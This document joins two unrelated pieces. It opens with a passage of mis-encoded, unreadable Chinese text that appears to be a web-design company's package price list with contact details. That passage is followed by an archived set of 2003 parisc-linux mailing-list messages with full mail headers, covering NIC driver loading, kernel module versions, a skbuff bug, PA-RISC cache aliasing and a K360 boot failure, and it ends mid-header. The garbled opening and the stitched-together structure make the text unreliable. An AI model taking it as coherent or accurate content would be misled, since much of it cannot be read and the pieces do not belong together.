11.Ϻؿ-Ҫգͻ;ؿǿͻĸ顣
12.ҵʾ-վͬҵʾ֣ҵĶ
13.̨-ϹܣԼƹרҵԱ

ҲԴ5Уѡһʺ˾վ?
-----------------------------
(һ) ҵվ(Ӣ)

 11
 2100ռ䣻
 3վƣ
 41Ӣվӭҳ
 51վҳ
 61Ӣվҳ                    
 75վҳ
 85Ӣվҳ
 9վӢվ
10Gifťͣť
11LogoGif
12BannerGif
13վԶڸ2(Ӣ)
14ӭҳ߼1ף
15õտͻ;
16άվ1ꣻ
17ƽÿ¸վ2ҳΡ
--------------------------
() ׼ҵվ(Ӣ)

 11
 2120ռ䣻
 31ҵͬ䣻
 4վƣ
 51Ӣվӭҳ
 61վҳ
 71Ӣվҳ                   
 810վҳ       
 910Ӣվҳ
10Gifťͣť
11Flash1
12LogoGif
13Banner̬
14Ч1
15վӢվ
16վԶڸ2(Ӣ)
17ӭҳ߼1ף
18õտͻԣ
19ЧͼƬӢĹ2
20ĻӢĹ2
21άվ1ꣻ
22ƽÿ¸վ4ҳΣ
---------------------------
() ҵվ(Ӣ)

 11
 2150ռ䣻
 35ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 720վҳ
 8վӢվ
 91Ӣվҳ
1020Ӣվҳ
11Gifťͣť̬ť
12Flash2
13Ƶ1
14Ч1
15LogoGif
16Banner̬
17̬1
18վԶڸ2(Ӣ)
19ҳ߼
20ݿտͻ
21ЧͼƬӢĹ4
22ЧҳӢĹ2
23Ļ棨šţӢĹ4
24άվ1ꣻ
25ƽÿ¸վ8ҳΣ
26ҪԼάѵ1ܣ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2200ռ䣻
 310ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 740վҳ
 8վӢվ
 91Ӣվҳ
1040Ӣվҳ
11Gifťͣť̬ť
12Flash4
13Ƶ2
14Ч1
15ҳ1
16LogoGif
17Banner̬
18̬2
19վԶڸ2(Ӣ)
20ҳ߼
21άվ1ꣻ
22ЧͼƬӢĹ6
23ЧҳӢĹ4
24ݿտͻԣ
25Ļ棨šţӢĹ6
26ݿտͻ
27ݿƷ
28ƽÿ¸վ16ҳΣ
29ҪԼάѵ2ܣ2ס
30óƵ--óƵͨ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2300ռ䣻
 320ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 780վҳ
 8վӢվ
 91Ӣվҳ
1080Ӣվҳ
11Gifťͣť̬ť
12Flash8
13Ƶ3
14Ч2
15ҳ2
16LogoGif
17Banner̬
18̬3
19ĿҳӢĿҳ
20վԶڸ2(Ӣ)
21ҳ߼
22ͻ԰2(Ӣ)
23ݿտͻԣ
24Ļ棨šţӢĹ8
25ЧͼƬӢĹ8
26ЧҳӢĹ6
27ݿտͻԡͻ
28ݿԱ
29ʼбռÿʼַ͹棻
30ݿƷ
31άվ1ꣻ
32ƽÿ¸վ32ҳΣ
33ҪԼάѵ3ܣ3ף
34óƵ--óҵͨ1ס
--------------------------- 
˾һҴóҵ"Ӧо""繤̽""ýӰӶ
"רҵ˾רΪҹó˾ҵּ
ӦϵͳվԼҵýӰӶƬ

˾ڹóٻֺ֧֯£ɹԭ֤
ϵͳóƵͨóҵͨϵóӦ
ƷܵóҵĻӭ    

ͬʱҵϵ˾ŷ塢ձ
ǵȵʮҲɹ̡СԼõĺ
ϵȥһ࣬˾Ѱɹڹҵʵ
ڲƷٳɶڳóס
 -----------------------------
˾г޹˾
ַмô԰6¥9E
绰020-85580234ת19 20
棺020-85581405
ֻ13640327836
䣺linyu921@sina.com
-----------------------------



From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] adding a second nic to B1000
Date: Fri, 08 Aug 2003 07:46:24 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <3F335550.3030804@tiscali.be>
References: <20030807110141.25427.h020.c009.wm@mail.canada.com.criticalpath.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622660 28918 80.91.229.3 (22 Nov 2014 02:17:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:40 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: geos@canada.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 01:46:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 555914937
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 01:46:19 -0600 (MDT)
Original-Received: from [62.235.120.76] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19l1wz-0003n4-00; Fri, 08 Aug 2003 09:46:13 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2
X-Accept-Language: en
In-Reply-To: <20030807110141.25427.h020.c009.wm@mail.canada.com.criticalpath.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19137

geos@canada.com wrote:

>Sorry about that 
>im kinda new to this if you cant tell ;)
>make config allowed me to select what nic drivers i
>wanted but this did not compile or load the new driver  
>
>i will have to get the exact errors msg's when i get
>back home 
>
>i ran the recompile kernal found here 
>http://www.parisc-linux.org/kernel/index.html
>using Simple Recipe to Build a Kernel 
>
>this added the source to /usr/src/linux
>that source should be the same as my kernal 
>after doing that i did this 
>http://www.scyld.com/expert/modules.html
>needed to get lib6,cvs after a net-install to do this 
>
>the common error after compileing and doing a insmod
>3c95x.o
>was "this was compiled for 2.4.18 and this version is
>for 2.4.19" 
>so i copy the 3c95x.c from the 2.4.19 kernel and did it
>again now i get an error like this will not function 
>
Well if I well understand you reached to recompile hppa linux kernel 
with module for 3c95x: congratulation.
But to load modules, they have to be build for the kernel you are 
running (I think that will change in 2.6). So the only  think to do now 
is to _reboot_ with the kernel you just rebuild for your nic :)

hth,
    Joel




From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] adding a second nic to B1000
Date: Fri, 8 Aug 2003 17:02:56 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20030808150256.GX1873@lug-owl.de>
References: <20030807110141.25427.h020.c009.wm@mail.canada.com.criticalpath.net> <3F335550.3030804@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="LjVoae4kcYbOEAMC"
X-Trace: ger.gmane.org 1416622660 28920 80.91.229.3 (22 Nov 2014 02:17:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 09:02:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2F75483F
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 09:02:57 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 0FCDE4ADF8; Fri,  8 Aug 2003 17:02:57 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3F335550.3030804@tiscali.be>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19138

--LjVoae4kcYbOEAMC
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 2003-08-08 07:46:24 +0000, Joel Soete <joel.soete@tiscali.be>
wrote in message <3F335550.3030804@tiscali.be>:
> geos@canada.com wrote:

> But to load modules, they have to be build for the kernel you are=20
> running (I think that will change in 2.6). So the only  think to do now=
=20

I'm quite sure that won't change, ever. Linux, if it's compatible to
itself at all, has got "only" a source compatible API. You're somewhat
on a more save side if you're using symbol versioning, but if you force
a module to load (into a kernel of different version or even of
different configuration), you may loose. Right now or sometime later:)

That's what "tainting" was ment for:)

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--LjVoae4kcYbOEAMC
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/M7ugHb1edYOZ4bsRAqn4AJ41MqzSysgVj6LA+j9U1DxY0NVqUgCeLQxa
DkcfArCl0N6eXwiNzszux1M=
=uOAX
-----END PGP SIGNATURE-----

--LjVoae4kcYbOEAMC--


From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status E55 - or family
Date: Fri, 8 Aug 2003 09:29:06 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20030808152906.GA28214@dsl2.external.hp.com>
References: <3F32CC79.8090507@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622661 28921 80.91.229.3 (22 Nov 2014 02:17:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:41 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 09:29:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 75E484963; Fri,  8 Aug 2003 09:29:06 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F32CC79.8090507@gmx.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19139

On Fri, Aug 08, 2003 at 12:02:33AM +0200, Christoph Plattner wrote:
> Are there any news concerning the E55 (or family) stuff.

yes - I've collected documentation needed for HP-PB SCSI
(both SE SCSI and FWD SCSI) but haven't had time to run
that through "the process".

...
> Are there news concerning my NDA ??!!

My request to release them under NDA only was denied by mgt. :^(

grant


From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at include/linux/skbuff.h:834!
Date: Fri, 8 Aug 2003 09:55:50 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030808155550.GE28214@dsl2.external.hp.com>
References: <20030806143219.GC30797@dsl2.external.hp.com> <20030806145700.GU22222@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622661 28922 80.91.229.3 (22 Nov 2014 02:17:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 09:55:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BA1E0483F; Fri,  8 Aug 2003 09:55:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030806145700.GU22222@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19140

On Wed, Aug 06, 2003 at 03:57:00PM +0100, Matthew Wilcox wrote:
> "I don't believe you" ;-)

Well, I just copied what the kernel posted to the console.
Maybe the stack trace was from the wrong stack? (kernel vs user space)

> The first BUG is in skb_put() and the second BUG is in skb_pull().  Neither
> are called from netif_receive_skb(), nor net_rx_action().  

yup - I see that now too. 
The stack info is crap unless the calls to skb_* are hidden
in macros or other inline function calls.

...
> So none of these addresses make any sense ;-(

ok. :^(

Hopefully this is reproducible.

grant


From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Debian on rp 7400
Date: Fri, 8 Aug 2003 10:37:44 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20030808163744.GA29158__47554.6254696839$1416622661$gmane$org@dsl2.external.hp.com>
References: <25EEF58E-C82D-11D7-8F19-00039398B282@byu.edu> <20030806205220.GA6353@dsl2.external.hp.com> <3F336914.5020305@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622661 28926 80.91.229.3 (22 Nov 2014 02:17:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:41 +0000 (UTC)
Cc: "Conan C. Albrecht" <conan_albrecht@byu.edu>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 10:37:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 91086483F; Fri,  8 Aug 2003 10:37:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F336914.5020305@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19141

BTW, this discussion really belongs on parisc-linux.org mailing list.
It's not specific to debian-hppa and is very kernel centric.

On Fri, Aug 08, 2003 at 09:10:44AM +0000, Joel Soete wrote:
> >IIRC, "non-equivalently mapped aliases" 

> Is there much more detailed public doc some where about this stuff?

sorry - I don't understand the problems well enough.
The PA 2.0 arch book might describe the cache behaviors sufficiently
to determine this will be a problem.

> >BTW< this topic has been thoroughly discussed on parisc-linux
> >mailing list. See www.parisc-linux.org mailing list archives.

google search for
	equivalent mapped [parisc-linux site:lists.parisc-linux.org]

yielded the original thread from Jerry Huck:

http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008101.html

I only partially understand what Jerry talking about and have no idea
how linux VM implementation collides with the aliasing rules.


Bjorn Helgaas posted a another thread two years later that might
be more helpful since it's specific to superdome (AFAIK same problems
as with N-class and L3000):

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-April/012388.html

I didn't see any direct followup to Bjorn's mail in the archive though
some discussion did occur in other forums (much later).

hth,
grant


From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gustavo Zacarias <gustavo@zacarias.com.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K360 with 64 bit kernel?
Date: Fri, 08 Aug 2003 14:46:32 -0300
Lines: 11
Approved: news@gmane.org
Message-ID: <3F33E1F8.9030706@zacarias.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622662 28929 80.91.229.3 (22 Nov 2014 02:17:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 11:47:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nuada.toptech.com.ar (nuada.toptech.com.ar [200.68.70.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9A00483F
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 11:47:26 -0600 (MDT)
Original-Received: from zacarias.com.ar (imhotep.toptech.com.ar [200.68.70.115])
	(authenticated)
	by nuada.toptech.com.ar (8.11.6/8.11.6) with ESMTP id h78HlBL09652
	for <parisc-linux@lists.parisc-linux.org>; Fri, 8 Aug 2003 14:47:11 -0300
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030805
X-Accept-Language: en-us, en
X-Enigmail-Version: 0.76.4.0
X-Enigmail-Supports: pgp-inline, pgp-mime
X-Spam-Status: No, hits=-5.2 required=6.0
	tests=BAYES_00,USER_AGENT_MOZILLA_UA
	version=2.55
X-Spam-Checker-Version: SpamAssassin 2.55 (1.174.2.19-2003-05-19-exp)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19142

Hi.
Has anyone managed to boot a K360 with a 64 bit kernel?
The machine works just fine with a 32 bit one.
The problem is the machine getting stuck just after the ncr53c8xxx 
driver with a bunch of scsi timeouts.
You can check the logs at http://www.zacarias.com.ar/hppa/ (a good boot 
on 32, and the dead one on 64).
Thanks in advance.




From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Debian on rp 7400
Date: Fri, 8 Aug 2003 18:56:13 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20030808175613.GP22222__34406.5195801251$1416622662$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <25EEF58E-C82D-11D7-8F19-00039398B282@byu.edu> <20030806205220.GA6353@dsl2.external.hp.com> <3F336914.5020305@tiscali.be> <20030808163744.GA29158@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622662 28932 80.91.229.3 (22 Nov 2014 02:17:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:42 +0000 (UTC)
Cc: Joel Soete <joel.soete@tiscali.be>,
	"Conan C. Albrecht" <conan_albrecht@byu.edu>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 11:56:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 041B9496D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 11:56:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19lBTJ-00036u-RE; Fri, 08 Aug 2003 18:56:13 +0100
Content-Disposition: inline
In-Reply-To: <20030808163744.GA29158@dsl2.external.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19143

On Fri, Aug 08, 2003 at 10:37:44AM -0600, Grant Grundler wrote:
> On Fri, Aug 08, 2003 at 09:10:44AM +0000, Joel Soete wrote:
> > >IIRC, "non-equivalently mapped aliases" 
> 
> > Is there much more detailed public doc some where about this stuff?
> 
> sorry - I don't understand the problems well enough.
> The PA 2.0 arch book might describe the cache behaviors sufficiently
> to determine this will be a problem.

You're looking for the section "Address Aliasing" starting on page F-5.
For the dead-tree-non-enabled, it's covered at
http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,959!218!244,00.html

Note that the book has some small errata in this section; the copy on
the web has these errata corrected.

Also note that the use of space bits in generating the cache index
is disabled.

Also note that the 16MB boundary discussed is relaxed to 4MB.

> I only partially understand what Jerry talking about and have no idea
> how linux VM implementation collides with the aliasing rules.

User mappings of shared pages are equivalently aliased.  The kernel's
view of user pages is a non-equivalent alias.  We could (ab)use kmap()
to ensure the kernel only accesses user pages through equivalent aliases,
but that requires quite some work.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] adding a second nic to B1000
Date: Fri, 08 Aug 2003 19:32:21 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <3F33FAC5.40509@tiscali.be>
References: <20030807110141.25427.h020.c009.wm@mail.canada.com.criticalpath.net> <3F335550.3030804@tiscali.be> <20030808150256.GX1873@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622662 28934 80.91.229.3 (22 Nov 2014 02:17:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 13:32:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 813EF482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 13:32:22 -0600 (MDT)
Original-Received: from [62.235.120.28] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19lCyL-0003ai-00; Fri, 08 Aug 2003 21:32:21 +0200
